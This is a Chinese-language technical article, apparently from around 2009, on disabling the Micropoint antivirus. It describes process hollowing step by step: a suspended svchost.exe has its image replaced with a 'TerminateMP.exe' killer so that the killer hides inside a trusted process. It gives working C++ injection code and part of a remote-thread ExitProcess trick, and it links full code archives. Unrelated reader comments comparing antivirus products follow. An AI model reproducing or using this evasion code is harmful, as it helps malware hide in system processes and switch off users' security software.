微点的主动防御没有拦截一些系统进程如csrss.exe, smss,exe, lsass.exe, svchost.exe, services.exe等的危险动作。因为这些进程通常是不危险的,我们要做的就是把它们中的某个变成危险进程,然后用这个危险进程猥亵微点。即用进程注入的方法把svhost.exe偷换成TerminateMP.exe(结束微点的程序),也就是所谓的借尸还魂。
操作步骤如下:

1.调用CretaeProcess函数创建第一个进程(svhost.exe),该进程处于suspend模式(记得参数CREATE_SUSPENDED ).
2.调用GetThreadContext函数获取第一个进程的各个寄存器值.其中EBX的值指向的就是该进程的PEB,EAX寄存器保存了该进程的入口点 (entry point)
3.从PEB中获取该进程的 base_address, [ebx+8]的值
lkd> dt _pebntdll!_PEB+0x000 InheritedAddressSpace : UChar+0x001 ReadImagefileExecOptions : UChar+0x002 BeingDeBUGged : UChar+0x003 SpareBool : UChar+0x004 Mutant : Ptr32 Void+0x008 ImageBaseAddress : Ptr32 Void//映像基址... ... |
4.把第二个进程(TerminateMP.exe)读入到内存中,用ReadFile函数调用即可,注意如果文件对齐和内存对齐不一样的话,必须做必要的对齐操作.
5.如果第二个进程和第一个进程有相同的基地址(base-address),并且第二个进程的大小小于第一个进程,则只要简单的调用WriteProcessMemory函数覆盖掉第一个进程的进程空间,然后恢复运行即可.
6.否则的话,先调用ZwUnmapViewOfSection把第一个进程的镜像映射去掉,该函数由ntdll.dll导出.然后调用VertualAllocEX函数在第一个进程内存空间里面申请足够大的内存.然后拷贝第二个进程的镜像到该空间(利用WriteProcessMemory函数)
7.假如调用ZwUnmapViewOfSection操作失败,但是第二个exe是可重定位的.则可以在第一个进程空间里面的任何位置开始申请足够大的空间,在该分配的空间对第二个进程进行重定位.然后拷贝重定位后的exe到第一个进程空间里,开始位置就是申请的空间位置.
8.用第二个进程(TerminateMP.exe)的base-address修正PEB中相应的值,位置是[ebx+8]
9.用EAX设置第二个进程( TerminateMP.exe )的入口点地址
10.调用SetThreadContext函数修正
11.调用ResumeThread函数恢复svhost.exe运行.
实现代码可以参考
这里提供一份更简短的代码,便于看清操作过程
BOOL InjectProcess(LPTSTR VictimFile,LPTSTR InjectExe){HANDLE hFile;DWORD dwFileSize;//文件大小IMAGE_DOS_HEADER DosHeader;IMAGE_NT_HEADERS NtHeader;PROCESS_INFORMATION pi;STARTUPINFO si;CONTEXT context;PVOID ImageBase;unsigned long ImageSize;unsigned long BaseAddr;unsigned long retByte = 0;LONG offset;HMODULE hNtDll=GetModuleHandle("ntdll.dll");if(!hNtDll)return FALSE;ZWUNMAPVIEWOFSECTION ZwUnmapViewOfSection = (ZWUNMAPVIEWOFSECTION)GetProcAddress(hNtDll,"ZwUnmapViewOfSection");memset(&si, 0, sizeof(si));memset(&pi, 0, sizeof(pi));si.cb = sizeof(si);hFile = ::CreateFile(InjectExe,GENERIC_READ,FILE_SHARE_READ|FILE_SHARE_WRITE,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_ARCHIVE,NULL);if (hFile == INVALID_HANDLE_VALUE){return FALSE;}::SetFilePointer(hFile, 0, NULL, FILE_BEGIN);dwFileSize = ::GetFileSize(hFile, NULL);LPBYTE pBuf = new BYTE[dwFileSize];memset(pBuf, 0, dwFileSize);DWORD dwNumberOfBytesRead = 0;::ReadFile( hFile, pBuf, dwFileSize, &dwNumberOfBytesRead, NULL);::CopyMemory((void *)&DosHeader,pBuf,sizeof(IMAGE_DOS_HEADER));::CopyMemory((void *)&NtHeader,&pBuf[DosHeader.e_lfanew],sizeof(IMAGE_NT_HEADERS));//检查PE结构//以挂起方式进程BOOL res = CreateProcess(NULL,VictimFile,NULL,NULL,FALSE,CREATE_SUSPENDED,NULL,NULL,&si,&pi);if (res){context.ContextFlags = CONTEXT_FULL;if (!GetThreadContext(pi.hThread,&context)) //如果调用失败{CloseHandle(pi.hThread);CloseHandle(pi.hProcess);return FALSE;}ReadProcessMemory(pi.hProcess,(void *)(context.Ebx + 8),&BaseAddr,sizeof(unsigned long),NULL);if (!BaseAddr){CloseHandle(pi.hThread);CloseHandle(pi.hProcess);return FALSE;}//拆卸傀儡进程内存模块if (ZwUnmapViewOfSection((unsigned long)pi.hProcess,BaseAddr)){CloseHandle(pi.hThread);CloseHandle(pi.hProcess);return FALSE;}ImageBase = VirtualAllocEx(pi.hProcess,(void *)NtHeader.OptionalHeader.ImageBase,NtHeader.OptionalHeader.SizeOfImage,MEM_RESERVE|MEM_COMMIT,PAGE_EXECUTE_READWRITE); //ImageBase 0x00400000if (ImageBase == NULL){DWORD wrongFlag = GetLastError();CloseHandle(pi.hThread);CloseHandle(pi.hProcess);return FALSE;}//替换傀儡进程内存数据if(!WriteProcessMemory(pi.hProcess, ImageBase, pBuf, NtHeader.OptionalHeader.SizeOfHeaders, &retByte)){DWORD wrongFlag2 = GetLastError();}//DOS 头 + PE 头 + 区块表的总大小//定位到区块头offset = DosHeader.e_lfanew + sizeof(IMAGE_NT_HEADERS);IMAGE_SECTION_HEADER secHeader;WORD i = 0;for (;i < NtHeader.FileHeader.NumberOfSections;i++){//定位到各个区块::CopyMemory((void *)&secHeader, &pBuf[offset + i*sizeof(IMAGE_SECTION_HEADER)],sizeof(IMAGE_SECTION_HEADER));WriteProcessMemory(pi.hProcess,(LPVOID)((DWORD)ImageBase + secHeader.VirtualAddress),&pBuf[secHeader.PointerToRawData],secHeader.SizeOfRawData,&retByte);VirtualProtectEx(pi.hProcess, (LPVOID)((DWORD)ImageBase + secHeader.VirtualAddress), secHeader.Misc.VirtualSize, PAGE_EXECUTE_READWRITE,&BaseAddr);}context.ContextFlags = CONTEXT_FULL;//重置 执行文件入口WriteProcessMemory(pi.hProcess, (void *)(context.Ebx + 8),&ImageBase,//41943044, &retByte);context.Eax = (unsigned long)ImageBase + NtHeader.OptionalHeader.AddressOfEntryPoint;SetThreadContext(pi.hThread,&context);ResumeThread(pi.hThread);}CloseHandle(pi.hThread);CloseHandle(pi.hProcess);::CloseHandle(hFile);delete[] pBuf;return TRUE;} |
用以上方法启动 TerminateMP.exe之后,系统中没有TerminateMP.exe进程,只有被替换了的svhost.exe
在svhost.exe进程中可以轻松地用 OpenProcess打开微点的进程,但是要结束微点的进程还是很麻烦的(Ring3下)。某90后用创建远程错误线程的方法达到了目的(这么挫的方法都想得出来)。
EnableDebugPriv(_T("SeDebugPrivilege"));HMODULE hModule = GetModuleHandle("kernel32.dll");unsigned long FunAddr = (unsigned long)GetProcAddress(hModule,"ExitProcess");for (int i=0;i |
完整代码: 进程注入InjectProcess.rar 结束微点TerminateMP.rar
【编辑推荐】
瑞星和360到底谁对谁错?
是瑞星怕360抢占它的市场360杀毒的都免费了瑞星还去赚谁的钱一切谣言全是瑞星制造的上次瑞星起诉东方微点 微点的老总被判刑了技术全部让瑞星无法律认可的情况下霸占了 顶360⒈天①棵烟亲笔
为什么瑞星和360的安检不一样呢
瑞星和360都不怎么样,国产用毒霸2009吧,国外用ESET或卡巴斯基。 个人推荐微点主动防御软件。
2009有什么杀毒软件 好用而且要免费
国外好的杀软:捷克的AVG,俄罗斯的卡巴,德国的小紅伞,以及起源于捷克斯洛伐克nod32都是很好的杀软,杀软三巨头:卡巴,诺顿,麦咖啡。 卡巴很占内存,另外一点,avg是没有中文版的,小红伞有晓月的汉化版,但没有官方的中文版。 国内的杀软我只推荐 费尔 和 微点 。 选杀软要看楼主怎么样的电脑配置了,卡巴的系统要求比较高,尽管卡巴8.0在占资源方面有了很大改进,但对于1G内存还是有点不足,而且屁大的事它都要扫描,以至于拖慢了系统,不过卡巴杀毒能力是没话说的。 楼主英语好的话小红伞和AVG都不错(现在AVG的8.5是免费的了)。 推荐几种用法:1.微点+系统墙2.小红伞+风云+360 32+360+任意兼容防火墙(风云可以)4.卡巴套装+360 5.诺顿套装+360这里推荐360安全卫士的原因是它作为一款辅助防护软件,用它来打补丁和修漏洞还是很不错的。 不推荐咖啡的原因是咖啡设置有点麻烦。 个人推荐使用avast的家庭版(avast的网页防护和拦截器豆很不错),即:avast+风云防火墙+360卫士(偶尔在扫描木马的时候用巡警),另外推荐一款很不错的杀马和清理恶意软件的工具:windows清理助手,我用着觉得有些时候比卡巴还好用。 最重要的是这些都是免费的!这些都可以在网络和google搜索到。 楼主可以自己选择一些~~希望对你有帮助。 windows清理助手:费尔:微点::安全卫士:超级巡警:风云防火墙:超级兔子升级天使:另外介绍一个可以下载好安全软件的论坛(卡饭)个人认为很不错~
发表评论